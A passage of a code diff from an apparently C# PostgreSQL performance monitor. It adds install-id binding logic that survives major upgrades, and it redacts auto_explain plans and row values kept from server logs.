+    /// The service's: returns this store's install id, making the row when it is absent and replacing the id when it
+    /// does not belong to this store. Call it once at start, after the migrations and before any worker.
+    /// </summary>
+    public static async Task<string> EnsureAsync(NpgsqlConnection connection, ILogger logger, CancellationToken cancellationToken)
+    {
+        ArgumentNullException.ThrowIfNull(connection);
+        ArgumentNullException.ThrowIfNull(logger);
+
+        var binding = await ReadBindingAsync(connection, logger, cancellationToken);
+
+        for (var attempt = 0; attempt < MaxAttempts; attempt++)
+        {
+            await InsertIfAbsentAsync(connection, InstallId.NewId(), binding, cancellationToken);
+
+            var row = await ReadRowAsync(connection, ReadWithTableOidSql, cancellationToken);
+            if (row is not { } stored)
+            {
+                continue;   // the row went between the insert and the read: make it again
+            }
+
+            var validId = InstallId.IsValid(stored.InstallId);
+            var sameStore = IsSameStore(
+                stored.SystemIdentifier, stored.DatabaseOid, stored.TableOid, stored.ServerMajor,
+                binding.SystemIdentifier, binding.DatabaseOid, binding.TableOid, binding.ServerMajor);
+            if (validId && sameStore)
+            {
+                if (!NeedsRebind(stored, binding))
+                {
+                    return stored.InstallId;
+                }
+
+                if (await RebindAsync(connection, stored.InstallId, binding, cancellationToken))
+                {
+                    if (stored.SystemIdentifier is { } storedCluster && binding.SystemIdentifier is { } currentCluster && storedCluster != currentCluster)
+                    {
+                        logger.LogInformation(
+                            "The cluster's identifier changed from {StoredClusterId} to {CurrentClusterId} since the install id " +
+                            "'{InstallId}' was made, and the server's major version rose from {StoredMajor} to {CurrentMajor}. The store " +
+                            "is the same one (its database and the install id table keep their OIDs through a major upgrade), so the id " +
+                            "stays and the row now carries the new cluster id and major version.",
+                            storedCluster, currentCluster, stored.InstallId, stored.ServerMajor, binding.ServerMajor);
+                    }
+
+                    return stored.InstallId;
+                }
+
+                continue;   // another start changed the row between this read and the update: read it again
+            }
+
+            var replacement = InstallId.NewId();
+            if (await ReplaceAsync(connection, stored.InstallId, replacement, binding, cancellationToken))
+            {
+                logger.LogWarning(
+                    "The install id stored for this store, '{OldInstallId}', cannot be kept: {Reason}. This install made a new id, " +
+                    "'{NewInstallId}'. Extended Events sessions named for the old id are left alone, because the install that made " +
+                    "them may still be running.",
+                    stored.InstallId, DescribeWhy(validId, sameStore, stored, binding), replacement);
+            }
+
+            /* Read again either way: the row now holds ours when this start won the replacement and the winner's when
+               another start did, and either is what every start on this store must agree on. */
+        }
+
+        throw new InvalidOperationException(
+            "The install id row could not be settled: it kept changing while this start was reading it.");
+    }
+
+    /// <summary>
+    /// For the CLI and the Viewer: the stored id when the row exists and holds a valid id, otherwise null (no row yet,
+    /// no table yet on a store older than the migration that makes it, or a stored value that is not an id). It never
+    /// inserts, updates or repairs: the service is the only thing that makes the row. It does not read the store's
+    /// binding at all, so a server that refuses the cluster id changes nothing for it; a row stored without a cluster
+    /// id reads like any other, and a store still below the migration that adds <c>table_oid</c> reads like any other
+    /// too, because <see cref="ReadSql"/> names no column that store lacks.
+    /// </summary>
+    public static async Task<string?> TryReadAsync(NpgsqlConnection connection, CancellationToken cancellationToken)
+    {
+        ArgumentNullException.ThrowIfNull(connection);
+
+        try
+        {
+            var row = await ReadRowAsync(connection, ReadSql, cancellationToken);
+            return row is { } found && InstallId.IsValid(found.InstallId) ? found.InstallId : null;
+        }
+        catch (PostgresException ex) when (ex.SqlState == PostgresErrorCodes.UndefinedTable)
+        {
+            return null;
+        }
+    }
+
+    /// <summary><see cref="TryReadAsync(NpgsqlConnection, CancellationToken)"/> on a connection of the data source's.</summary>
+    public static async Task<string?> TryReadAsync(NpgsqlDataSource dataSource, CancellationToken cancellationToken)
+    {
+        ArgumentNullException.ThrowIfNull(dataSource);
+
+        await using var connection = await dataSource.OpenConnectionAsync(cancellationToken);
+        return await TryReadAsync(connection, cancellationToken);
+    }
+
+    /// <summary>
+    /// Whether a stored row belongs to this store. The database's OID always counts, and so does the table's OID once the
+    /// row has it (every row made since the migration that keeps it). With both OIDs matching, a cluster id that did not
+    /// change (or that is unknown on either side) is the same store; a changed one is the same store only when the
+    /// server's major version rose, which a major upgrade always does, and only when the row has a major to compare (a
+    /// row with a table OID and no major must match the cluster id). A row that has no table OID yet is compared as it was
+    /// before: by the cluster id too, when the row and the current read both have one, so a grant that changes later (a
+    /// refusal lifted, or put in place) never makes a new id on its own.
+    ///
+    /// <para><b>Why the two OIDs survive what the cluster id does not, and why the major follows.</b>
+    /// <c>pg_upgrade</c> gives the new cluster a new <c>system_identifier</c> but keeps the database's OID (PostgreSQL 15
+    /// release notes, section pg_upgrade: "Make pg_upgrade preserve tablespace and database OIDs, as well as relation
+    /// relfilenode numbers"; pg_dump's <c>--binary-upgrade</c> output creates the database with
+    /// <c>CREATE DATABASE ... WITH TEMPLATE = template0 OID = ...</c>) and the table's (the same output calls
+    /// <c>binary_upgrade_set_next_heap_pg_class_oid</c> before each table, under the comment "For binary upgrade, must
+    /// preserve pg_class oids and relfilenodes": src/bin/pg_dump/pg_dump.c, <c>binary_upgrade_set_pg_class_oids</c>). A
+    /// dump and restore without that mode, which is how a clone or a move by logical copy is made, takes new OIDs from
+    /// the new cluster's counters. Those counters start at the same number after every <c>initdb</c>, so a copy of the row
+    /// into a fresh install of the same version can match both OIDs; it also has a new cluster id and the same major, and
+    /// a major upgrade never has the same or a lower one.</para>
+    /// </summary>
+    public static bool IsSameStore(
+        long? storedClusterId, long storedDatabaseOid, long? storedTableOid, int? storedMajor,
+        long? currentClusterId, long currentDatabaseOid, long currentTableOid, int currentMajor)
+    {
+        if (storedDatabaseOid != currentDatabaseOid)
+        {
+            return false;
+        }
+
+        var clusterChanged = storedClusterId is { } storedCluster
+            && currentClusterId is { } currentCluster
+            && storedCluster != currentCluster;
+
+        if (storedTableOid is not { } storedTable)
+        {
+            return !clusterChanged;
+        }
+
+        if (storedTable != currentTableOid)
+        {
+            return false;
+        }
+
+        return !clusterChanged || (storedMajor is { } major && currentMajor > major);
+    }
+
+    /// <summary>Whether a row that is this store's still has a binding value to write, term for term what <see cref="RebindSql"/>
+    /// would write: its table OID when it has none, its major version when it has none or another (unless this start can't
+    /// read the cluster id and the row has one, which keeps its major), or the cluster id when the current one is known
+    /// and the row's differs (or is missing). A true here that the statement does not match would leave the start reading
+    /// the same row until it gave up.</summary>
+    private static bool NeedsRebind(Row stored, Binding binding)
+    {
+        var majorIsWritten = binding.SystemIdentifier is not null || stored.SystemIdentifier is null;
+        return stored.TableOid is null
+            || (majorIsWritten && stored.ServerMajor != binding.ServerMajor)
+            || (binding.SystemIdentifier is { } current && stored.SystemIdentifier != current);
+    }
+
+    private static string DescribeWhy(bool validId, bool sameStore, Row stored, Binding binding)
+    {
+        var notAnId = "it is not eight lowercase hex digits";
+        if (validId)
+        {
+            return "it was made for a different store (" + DescribeDifference(stored, binding) + ")";
+        }
+
+        return sameStore
+            ? notAnId
+            : notAnId + " and it was made for a different store (" + DescribeDifference(stored, binding) + ")";
+    }
+
+    /// <summary>Which binding differed, as the Warning names it: each OID that changed, with the value in this store and
+    /// the value in the row. The cluster id is named for a row that has no table OID yet, and for a row whose OIDs both
+    /// match (the cases in which it decides), with the two major versions, or the lack of a stored one, because the major
+    /// is what separates an upgrade from a copy.</summary>
+    private static string DescribeDifference(Row stored, Binding binding)
+    {
+        var differences = new List<string>();
+        if (stored.DatabaseOid != binding.DatabaseOid)
+        {
+            differences.Add($"the database OID is {binding.DatabaseOid} here and {stored.DatabaseOid} in the row");
+        }
+
+        if (stored.TableOid is { } storedTable && storedTable != binding.TableOid)
+        {
+            differences.Add($"the install id table's OID is {binding.TableOid} here and {storedTable} in the row");
+        }
+
+        if (stored.SystemIdentifier is { } storedCluster && binding.SystemIdentifier is { } currentCluster && storedCluster != currentCluster
+            && (stored.TableOid is null || (differences.Count == 0 && stored.TableOid == binding.TableOid)))
+        {
+            var cluster = $"the cluster id is {currentCluster} here and {storedCluster} in the row";
+            differences.Add(stored.TableOid is null
+                ? cluster
+                : stored.ServerMajor is { } storedMajor
+                    ? $"{cluster}, and the server's major version is {binding.ServerMajor} here and {storedMajor} in the row, which is not an upgrade"
+                    : $"{cluster}, and the row has no major version to show an upgrade");
+        }
+
+        return string.Join("; ", differences);
+    }
+
+    /// <summary>Reads the cluster and the database. A server that refuses this login the cluster id (SQLSTATE 42501,
+    /// insufficient_privilege, and only that) is answered with the database's OID alone, and one Information line says
+    /// so; any other failure is not a refusal and still fails the start, which the worker's start-up retry then takes
+    /// over. The OID read sits outside the catch, so a failure of its own is never taken for a refusal.</summary>
+    private static async Task<Binding> ReadBindingAsync(NpgsqlConnection connection, ILogger logger, CancellationToken cancellationToken)
+    {
+        if (await TryReadClusterAndDatabaseAsync(connection, cancellationToken) is { } binding)
+        {
+            return binding;
+        }
+
+        await using var command = new NpgsqlCommand(DatabaseOidSql, connection) { CommandTimeout = CommandTimeoutSeconds };
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        if (!await reader.ReadAsync(cancellationToken))
+        {
+            throw new InvalidOperationException("The store's database could not be identified.");
+        }
+
+        logger.LogInformation(
+            "The install id is bound to the store's database alone, because the cluster's identifier can't be read with this login.");
+        return new Binding(null, reader.GetInt64(0), reader.GetInt64(1), reader.GetInt32(2));
+    }
+
+    /// <summary>The cluster and the database in one statement, or null when the server refused the cluster id.</summary>
+    private static async Task<Binding?> TryReadClusterAndDatabaseAsync(NpgsqlConnection connection, CancellationToken cancellationToken)
+    {
+        try
+        {
+            await using var command = new NpgsqlCommand(BindingSql, connection) { CommandTimeout = CommandTimeoutSeconds };
+            await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+            if (!await reader.ReadAsync(cancellationToken))
+            {
+                throw new InvalidOperationException("The store's cluster and database could not be identified.");
+            }
+
+            return new Binding(reader.GetInt64(0), reader.GetInt64(1), reader.GetInt64(2), reader.GetInt32(3));
+        }
+        catch (PostgresException ex) when (ex.SqlState == PostgresErrorCodes.InsufficientPrivilege)
+        {
+            return null;
+        }
+    }
+
+    private static async Task<Row?> ReadRowAsync(NpgsqlConnection connection, string sql, CancellationToken cancellationToken)
+    {
+        await using var command = new NpgsqlCommand(sql, connection) { CommandTimeout = CommandTimeoutSeconds };
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        if (!await reader.ReadAsync(cancellationToken))
+        {
+            return null;
+        }
+
+        var tableOid = reader.FieldCount > 3 && !reader.IsDBNull(3) ? reader.GetInt64(3) : (long?)null;
+        var serverMajor = reader.FieldCount > 4 && !reader.IsDBNull(4) ? reader.GetInt32(4) : (int?)null;
+        return new Row(reader.GetString(0), reader.IsDBNull(1) ? null : reader.GetInt64(1), reader.GetInt64(2), tableOid, serverMajor);
+    }
+
+    /// <summary>The cluster id as a statement parameter: typed, so a NULL (a refused read) reaches the server as a
+    /// bigint NULL rather than a value whose type it has to guess.</summary>
+    private static NpgsqlParameter ClusterIdParameter(Binding binding)
+    {
+        return new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Bigint, Value = (object?)binding.SystemIdentifier ?? DBNull.Value };
+    }
+
+    private static async Task InsertIfAbsentAsync(NpgsqlConnection connection, string installId, Binding binding, CancellationToken cancellationToken)
+    {
+        await using var command = new NpgsqlCommand(InsertSql, connection) { CommandTimeout = CommandTimeoutSeconds };
+        command.Parameters.Add(new NpgsqlParameter { Value = installId });
+        command.Parameters.Add(ClusterIdParameter(binding));
+        command.Parameters.Add(new NpgsqlParameter { Value = binding.DatabaseOid });
+        command.Parameters.Add(new NpgsqlParameter { Value = binding.TableOid });
+        command.Parameters.Add(new NpgsqlParameter { Value = binding.ServerMajor });
+        await command.ExecuteNonQueryAsync(cancellationToken);
+    }
+
+    /// <summary>True when this call changed the row, false when another start already had.</summary>
+    private static async Task<bool> ReplaceAsync(
+        NpgsqlConnection connection, string oldInstallId, string newInstallId, Binding binding, CancellationToken cancellationToken)
+    {
+        await using var command = new NpgsqlCommand(ReplaceSql, connection) { CommandTimeout = CommandTimeoutSeconds };
+        command.Parameters.Add(new NpgsqlParameter { Value = newInstallId });
+        command.Parameters.Add(ClusterIdParameter(binding));
+        command.Parameters.Add(new NpgsqlParameter { Value = binding.DatabaseOid });
+        command.Parameters.Add(new NpgsqlParameter { Value = binding.TableOid });
+        command.Parameters.Add(new NpgsqlParameter { Value = binding.ServerMajor });
+        command.Parameters.Add(new NpgsqlParameter { Value = oldInstallId });
+        return await command.ExecuteNonQueryAsync(cancellationToken) == 1;
+    }
+
+    /// <summary>True when this call wrote the row's missing or changed binding values, false when another start already
+    /// had (or replaced the id), in which case the caller reads the row again.</summary>
+    private static async Task<bool> RebindAsync(NpgsqlConnection connection, string installId, Binding binding, CancellationToken cancellationToken)
+    {
+        await using var command = new NpgsqlCommand(RebindSql, connection) { CommandTimeout = CommandTimeoutSeconds };
+        command.Parameters.Add(new NpgsqlParameter { Value = binding.TableOid });
+        command.Parameters.Add(ClusterIdParameter(binding));
+        command.Parameters.Add(new NpgsqlParameter { Value = binding.ServerMajor });
+        command.Parameters.Add(new NpgsqlParameter { Value = installId });
+        return await command.ExecuteNonQueryAsync(cancellationToken) == 1;
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/StoreLogClassifier.cs b/Darling/PerformanceMonitor.Darling.Storage/StoreLogClassifier.cs
index 2d1cc114ea..540eb1fb09 100644
--- a/Darling/PerformanceMonitor.Darling.Storage/StoreLogClassifier.cs
+++ b/Darling/PerformanceMonitor.Darling.Storage/StoreLogClassifier.cs
@@ -117,6 +117,22 @@ public readonly record struct Rule(
     /// </summary>
     public const string SlowStatementClass = "slow_statement";
 
+    /// <summary>
+    /// An <c>auto_explain</c> plan, kept as redacted JSON (#5097). The class is decided AFTER the
+    /// <c>duration: </c> rule has matched, by <see cref="TrySanitizePlan"/>, so it has no rule of its own in
+    /// <see cref="Rules"/>: a second <c>duration: </c> rule would move first-match ordering for every other
+    /// duration line. It is listed in <see cref="ClassNames"/> all the same, so a window that saw none names it.
+    /// </summary>
+    public const string SlowPlanClass = "slow_plan";
+
+    /// <summary>The message a kept plan has when it could not be read whole (text format, cut by the entry cap
+    /// or a read boundary, not JSON): every such plan is one row, whatever the statement was.</summary>
+    public const string WithheldPlanMessage = "plan withheld";
+
+    /// <summary>What a plan that parsed but is too large to keep holds in place of its JSON: the marker and the
+    /// JSON's length in characters, never any of its content.</summary>
+    public const string PlanTooLargeMarker = "plan too large to keep: ";
+
     /// <summary>What a kept statement reads as when it cannot be read to its end (cut at a cap or a read
     /// boundary, or opening a literal it never closes): the masking fails closed rather than trusting a mask
     /// that cannot know what the cut hid.</summary>
@@ -254,9 +270,11 @@ and mcp roles (a third of their statement_timeout, DarlingManagedRoles.SlowState
            past any line an operator sets. PostgreSQL writes it as LOG with the duration first and the statement
            after, on the same line and the tab-indented continuation lines below it. Retained for the reason
            statement_timeout is: the text is what makes one actionable, and a count throws it away. Its text is
-           rewritten before it is kept (SlowStatementClass says how and why), and a duration line that names no
-           statement (log_duration's bare one, auto_explain's plan, whose Query Text is verbatim) is counted as
-           routine instead. */
+           rewritten before it is kept (SlowStatementClass says how and why). A duration line that names no
+           statement is counted as routine instead (log_duration's bare one), except auto_explain's plan head
+           (`duration: N ms  plan:`): the same rule claims it, and MaskRetained keeps it as SlowPlanClass when
+           the plan parses as JSON (Query Text and bind values removed, literals masked), or as its head alone
+           when it does not. Its Query Text is verbatim, so raw plan text is never kept. */
         new(SlowStatementClass, Log, MatchKind.StartsWith, "duration: ", true,
             "a statement ran past the store's slow-statement line (a third of the viewer and mcp roles' statement_timeout) - kept as the statement, comments stripped, literals masked, bind parameters dropped"),
 
@@ -418,7 +436,7 @@ public static IReadOnlyList<string> ExcludingRulesThatCouldShadowARetainedRule()
     /// classified, because a fixture legitimately ends that way and dropping it would make the pin's own
     /// last case silently untested.</para>
     /// </summary>
-    public static Census Classify(string? slab)
+    public static Census Classify(string? slab, bool detailInEnglish = true)
     {
         var entries = new List<Entry>();
         var lines = 0;
@@ -448,7 +466,7 @@ void Flush()
                 var raw = currentRaw.ToString();
                 if (retained)
                 {
-                    (eventClass, retained, message, raw) = MaskRetained(eventClass, currentMessage, raw);
+                    (eventClass, retained, message, raw) = MaskRetained(eventClass, currentMessage, raw, detailInEnglish: detailInEnglish);
                 }
 
                 entries.Add(new Entry(
@@ -674,6 +692,8 @@ private static string[] BuildClassNames()
             }
         }
 
+        /* Decided by TrySanitizePlan, not by a rule (see SlowPlanClass), so it is added here. */
+        names.Add(SlowPlanClass);
         names.Add(UnclassifiedClass);
         names.Add(RoutineClass);
         return [.. names];
@@ -696,6 +716,11 @@ public static bool IsRetainedClass(string? eventClass)
             return false;
         }
 
+        if (string.Equals(eventClass, SlowPlanClass, StringComparison.Ordinal))
+        {
+            return true;
+        }
+
         foreach (var rule in Rules)
         {
             if (string.Equals(rule.EventClass, eventClass, StringComparison.Ordinal))
@@ -717,6 +742,12 @@ public static string WhyFor(string? eventClass)
                 + "nobody anticipated is visible rather than filtered";
         }
 
+        if (string.Equals(eventClass, SlowPlanClass, StringComparison.Ordinal))
+        {
+            return "an auto_explain plan - kept as redacted JSON (statement text and bind values removed, literals "
+                + "masked), one row per plan (runs with the same plan and estimates share a row); a plan that could not be read whole keeps only its duration line";
+        }
+
         if (string.Equals(eventClass, RoutineClass, StringComparison.Ordinal))
         {
             return "everything below WARNING that no rule names - checkpoints, connection authorisations, "
@@ -1064,19 +1095,109 @@ slab happened to end. */
         return true;
     }
 
+    /// <summary>
+    /// An <c>auto_explain</c> plan report as it is KEPT (#5097): <see cref="SlowPlanClass"/>. The plan is the
+    /// tab-led lines under a <c>duration: N ms  plan:</c> first line (<see cref="PgLogTextRedactor.IsPlanHead"/>,
+    /// the one spelling of that head). It is kept ONLY if it parses whole as an <c>auto_explain</c> JSON plan,
+    /// through <see cref="PgPlanLogParser.FromBlock"/> (the redaction the monitored-target plan route uses, not a
+    /// second one: <c>Query Text</c> and <c>Query Parameters</c> removed, quoted literals and condition numbers
+    /// masked). Its MESSAGE is <c>plan &lt;hash&gt; &lt;top node&gt; queryid=&lt;id or ?&gt;</c>, so one plan
+    /// shape is one row however often it ran (the kept sample carries one capture's own estimates), and the id is the statement's, when the plan carries one
+    /// (<c>auto_explain.log_verbose</c> with <c>compute_query_id</c>). The kept ENTRY is the first line and the
+    /// compact redacted JSON on one tab-led line. A plan that does not parse whole (text, YAML or XML format, a
+    /// cut by the entry cap or a read boundary, bad JSON, or a body the reader throws on) keeps only its first line
+    /// and <see cref="PgLogTextRedactor.WithheldPlan"/>. One that parses but whose kept entry would pass
+    /// <see cref="MaxSampleLength"/> keeps the same message and a <see cref="PlanTooLargeMarker"/> sample in place of
+    /// the JSON:
+    /// raw plan text is never kept. Every line under the plan that is not tab-led (a field such as CONTEXT) is
+    /// dropped. Idempotent: the kept JSON re-parses to the same shape hash. False when the first line is not a plan head.
+    /// </summary>
+    internal static bool TrySanitizePlan(string message, string rawText, out string sanitizedMessage, out string sanitizedRaw)
+    {
+        sanitizedMessage = message;
+        sanitizedRaw = rawText;
+
+        if (!PgLogTextRedactor.IsPlanHead(message))
+        {
+            return false;
+        }
+
+        var lines = rawText.Split('\n');
+        var firstLine = lines[0].TrimEnd();
+        var body = new StringBuilder();
+        for (var i = 1; i < lines.Length && lines[i].StartsWith('\t'); i++)
+        {
+            body.Append(lines[i], 1, lines[i].Length - 1).Append('\n');
+        }
+
+        /* Fail closed: a body the reader chokes on (a non-string Node Type, say) is withheld, never thrown, so one odd
+           line cannot stop the sweep. */
+        try
+        {
+            if (PgPlanLogParser.FromBlock(0, 0, body.ToString()) is { } plan)
+            {
+                sanitizedMessage = "plan " + plan.PlanHash + " " + (plan.TopNodeType ?? "?") + " queryid=" + QueryIdOf(plan.PlanJson);
+                var kept = firstLine + "\n\t" + plan.PlanJson;
+                sanitizedRaw = kept.Length <= MaxSampleLength
+                    ? kept
+                    : firstLine + "\n\t" + PlanTooLargeMarker + plan.PlanJson.Length.ToString(System.Globalization.CultureInfo.InvariantCulture) + " characters";
+                return true;
+            }
+        }
+        catch (Exception)
+        {
+        }
+
+        sanitizedMessage = WithheldPlanMessage;
+        sanitizedRaw = firstLine + "\n\t" + PgLogTextRedactor.WithheldPlan;
+        return true;
+    }
+
+    /// <summary>The statement's query id in a redacted plan's root (<c>Query Identifier</c>), or <c>?</c>.</summary>
+    private static string QueryIdOf(string planJson)
+    {
+        try
+        {
+            if (System.Text.Json.Nodes.JsonNode.Parse(planJson) is System.Text.Json.Nodes.JsonObject root
+                && root["Query Identifier"] is System.Text.Json.Nodes.JsonValue value
+                && value.TryGetValue<long>(out var id))
+            {
+                return id.ToString(System.Globalization.CultureInfo.InvariantCulture);
+            }
+        }
+        catch (System.Text.Json.JsonException)
+        {
+        }
+
+        return "?";
+    }
+
     /// <summary>
     /// A retained entry as it is KEPT (#3915, #3944): <see cref="SlowStatementClass"/>'s own rewrite, or for every
     /// other retained class the message's grouping key (<see cref="GroupingKeyOf"/>) and the entry through
-    /// <see cref="MaskEntry"/>. A slow-statement entry whose first line names no statement falls to
-    /// <see cref="RoutineClass"/>, counted and keeping no text.
+    /// <see cref="MaskEntry"/>. A slow-statement entry whose first line is an <c>auto_explain</c> plan head becomes
+    /// <see cref="SlowPlanClass"/> (<see cref="TrySanitizePlan"/>); one whose first line names no statement and no
+    /// plan falls to <see cref="RoutineClass"/>, counted and keeping no text.
     /// </summary>
     internal static (string EventClass, bool Retained, string Message, string RawText) MaskRetained(
-        string eventClass, string message, string rawText, bool cut = false)
+        string eventClass, string message, string rawText, bool cut = false, bool detailInEnglish = true)
     {
         if (eventClass == SlowStatementClass)
         {
-            return TrySanitizeSlowStatement(message, rawText, out var slowMessage, out var slowRaw)
-                ? (eventClass, true, slowMessage, slowRaw)
+            if (TrySanitizeSlowStatement(message, rawText, out var slowMessage, out var slowRaw))
+            {
+                return (eventClass, true, slowMessage, slowRaw);
+            }
+
+            return TrySanitizePlan(message, rawText, out var planMessage, out var planRaw)
+                ? (SlowPlanClass, true, planMessage, planRaw)
+                : (RoutineClass, false, message, rawText);
+        }
+
+        if (eventClass == SlowPlanClass)
+        {
+            return TrySanitizePlan(message, rawText, out var storedMessage, out var storedRaw)
+                ? (SlowPlanClass, true, storedMessage, storedRaw)
                 : (RoutineClass, false, message, rawText);
         }
 
@@ -1085,7 +1206,7 @@ internal static (string EventClass, bool Retained, string Message, string RawTex
            pairs with nothing. Read off the kept entry's first line, not off the raw first line alone (#4006): a
            catalogue that writes the token first (`"$$ BEGIN` ... `"またはその近辺で...`) names its form only after
            the token, which can run past that line, and the first line alone named no form to withhold it by. */
-        var masked = MaskEntry(rawText, cut);
+        var masked = MaskEntry(rawText, cut, detailInEnglish);
         var kept = PrimaryMessageOf(masked) ?? PgLogTextRedactor.RedactMessage(message, cut) ?? message;
         return (eventClass, true, GroupingKeyOf(kept), masked);
     }
@@ -1125,7 +1246,7 @@ internal static string GroupingKeyOf(string message) =>
     /// </summary>
     public static string DisplayMessageOf(string eventClass, string? key, string? sample)
     {
-        if (eventClass == SlowStatementClass || sample is null)
+        if (eventClass == SlowStatementClass || eventClass == SlowPlanClass || sample is null)
         {
             return key ?? string.Empty;
         }
@@ -1154,7 +1275,7 @@ public static string DisplayMessageOf(string eventClass, string? key, string? sa
     /// the same function. <paramref name="cut"/> says the entry's end may be missing, and is passed to
     /// <see cref="PgLogTextRedactor.RedactMessage"/>.
     /// </summary>
-    internal static string MaskEntry(string rawText, bool cut = false)
+    internal static string MaskEntry(string rawText, bool cut = false, bool detailInEnglish = true)
     {
         var lines = rawText.Split('\n');
         var result = new StringBuilder(rawText.Length);
@@ -1206,7 +1327,8 @@ proven whole (#3996's review): a companion field follows it in the entry. DeadLo
                 var masked = field.Name switch
                 {
                     "STATEMENT" or "QUERY" => PgLogTextRedactor.RedactStoredStatement(text) ?? WithheldStatement,
-                    "DETAIL" => PgLogTextRedactor.RedactDetail(text, detailComplete) ?? string.Empty,
+                    "DETAIL" when !detailInEnglish => WithheldDetail,
+                    "DETAIL" => MaskRowValues(PgLogTextRedactor.RedactDetail(text, detailComplete) ?? string.Empty),
                     _ => PgLogTextRedactor.RedactContext(text) ?? string.Empty,
                 };
 
@@ -1227,6 +1349,61 @@ proven whole (#3996's review): a companion field follows it in the entry. DeadLo
         return result.ToString();
     }
 
+    /* The failing-row label in any case (`Failing row contains`, `Partition key of the failing row contains`). */
+    private static readonly Regex FailingRowPattern = new(
+        @"(failing row contains) \(.*",
+        RegexOptions.CultureInvariant | RegexOptions.IgnoreCase | RegexOptions.Singleline, TimeSpan.FromSeconds(1));
+
+    /* The key's column list takes one level of parentheses, so an expression index's key
+       (`Key (COALESCE(parent_id, 0), lower(name))=(0, prod)`) reads like a plain column list. */
+    private static readonly Regex KeyValuePattern = new(
+        @"Key \(((?:[^()]|\([^()]*\))*)\)=\(.*\)(?= (?:already exists|is not present|is still referenced))",
+        RegexOptions.CultureInvariant | RegexOptions.Singleline, TimeSpan.FromSeconds(1));
+
+    private static readonly Regex KeyValueUnterminatedPattern = new(
+        @"Key \(((?:[^()]|\([^()]*\))*)\)=\((?!\.\.\.\))(.*)",
+        RegexOptions.CultureInvariant | RegexOptions.Singleline, TimeSpan.FromSeconds(1));
+
+    /// <summary>The DETAIL a retained entry keeps when the store's <c>lc_messages</c> is not English: the row-carrying
+    /// forms are worded by the catalogue in use, so the patterns of <see cref="MaskRowValues"/> would not read them.</summary>
+    public const string WithheldDetail = "<detail withheld: the store's lc_messages is not English>";
+
+    /// <summary>
+    /// Whether a store's <c>lc_messages</c> setting writes PostgreSQL's English wording: <c>C</c> (also <c>C.UTF-8</c>),
+    /// <c>POSIX</c>, or an <c>en</c> locale (<c>en_US.UTF-8</c>, <c>English_United States.1252</c>). A setting that could
+    /// not be read (null or blank) counts as not English.
+    /// </summary>
+    public static bool IsEnglishLcMessages(string? lcMessages)
+    {
+        if (string.IsNullOrWhiteSpace(lcMessages))
+        {
+            return false;
+        }
+
+        var value = lcMessages.Trim();
+        return value.Equals("C", StringComparison.OrdinalIgnoreCase)
+            || value.Equals("POSIX", StringComparison.OrdinalIgnoreCase)
+            || value.StartsWith("C.", StringComparison.OrdinalIgnoreCase)
+            || value.StartsWith("en", StringComparison.OrdinalIgnoreCase);
+    }
+
+    /// <summary>
+    /// A DETAIL's row values withheld (#5452): the tuple in <c>Failing row contains (...)</c> and the value in
+    /// <c>Key (columns)=(value)</c> are replaced by <c>...</c>, so the stored text names the constraint and the
+    /// columns and holds no stored value. Idempotent, like <see cref="MaskEntry"/>.
+    /// </summary>
+    internal static string MaskRowValues(string detail)
+    {
+        if (detail.Length == 0)
+        {
+            return detail;
+        }
+
+        detail = FailingRowPattern.Replace(detail, "$1 (...).");
+        detail = KeyValuePattern.Replace(detail, "Key ($1)=(...)");
+        return KeyValueUnterminatedPattern.Replace(detail, "Key ($1)=(...)");
+    }
+
     /// <summary>A field's text (<see cref="MaskEntry"/>): its first line from <paramref name="from"/>, and the
     /// tab-led lines under it up to <paramref name="next"/>. Sized to the field, not to the entry (#3996's round-2
     /// review).</summary>
@@ -1267,6 +1444,7 @@ class normalizes, and under any other class it would have been routine, which ke
         var firstLine = sample.Split('\n', 2)[0];
         var primary = FindField(firstLine);
         if (eventClass != SlowStatementClass
+            && eventClass != SlowPlanClass
             && primary.Kind == FieldKind.Primary
             && IsStatementLog(primary.Name, firstLine[primary.MessageStart..]))
         {
@@ -1286,8 +1464,10 @@ class normalizes, and under any other class it would have been routine, which ke
            syntax error's token first names its form only after the token, so what the cap left names none. */
         var cut = sample.Length >= MaxSampleLength && !sample.Contains('\n');
         var lineMessage = PrimaryMessageOf(sample) ?? message ?? firstLine;
-        var (_, retained, key, maskedSample) = MaskRetained(eventClass, lineMessage, sample, cut);
-        if (!retained)
+        var (maskedClass, retained, key, maskedSample) = MaskRetained(eventClass, lineMessage, sample, cut);
+        /* A legacy slow_statement row whose sample is a plan head comes back as another class: empty it, as before
+           plans were kept, rather than relabel it in place. */
+        if (!retained || !string.Equals(maskedClass, eventClass, StringComparison.Ordinal))
         {
             return (null, null);
         }
diff --git a/Darling/PerformanceMonitor.Darling.Storage/StoreLogSweep.cs b/Darling/PerformanceMonitor.Darling.Storage/StoreLogSweep.cs
index b1e4215aca..3e0ceabbe3 100644
--- a/Darling/PerformanceMonitor.Darling.Storage/StoreLogSweep.cs
+++ b/Darling/PerformanceMonitor.Darling.Storage/StoreLogSweep.cs
@@ -294,6 +294,11 @@ public static async Task<List<FileCapture>> SweepAsync(
 
         var candidates = await ListAsync(connection, cancellationToken);
 
+        /* Read once per sweep, with the store login: the wording of a row-carrying DETAIL follows it, so an entry kept
+           under a catalogue other than English keeps no DETAIL (StoreLogClassifier.WithheldDetail). A read that
+           fails counts as not English. */
+        var detailInEnglish = candidates.Count > 0 && await ReadDetailInEnglishAsync(connection, cancellationToken);
+
         foreach (var candidate in candidates)
         {
             var resume = StoreLogSlab.ResolveResume(candidate.StoredOffset, candidate.StoredLastSize, candidate.SizeBytes);
@@ -313,7 +318,7 @@ public static async Task<List<FileCapture>> SweepAsync(
                 continue;
             }
 
-            var census = StoreLogClassifier.Classify(slab.Text);
+            var census = StoreLogClassifier.Classify(slab.Text, detailInEnglish);
             var newOffset = resume.Offset + slab.BytesConsumed;
 
             var capture = new FileCapture(
@@ -415,6 +420,24 @@ public static bool IsStderrLogFile(string logFile) =>
     /// <summary>One row of <see cref="LogDirectoryListSql"/>.</summary>
     private readonly record struct Candidate(string LogFile, long SizeBytes, long? StoredOffset, long? StoredLastSize);
 
+    private const string LcMessagesSql = "SHOW lc_messages";
+
+    /// <summary>Whether the store's <c>lc_messages</c> writes English (<see cref="StoreLogClassifier.IsEnglishLcMessages"/>);
+    /// false when it cannot be read.</summary>
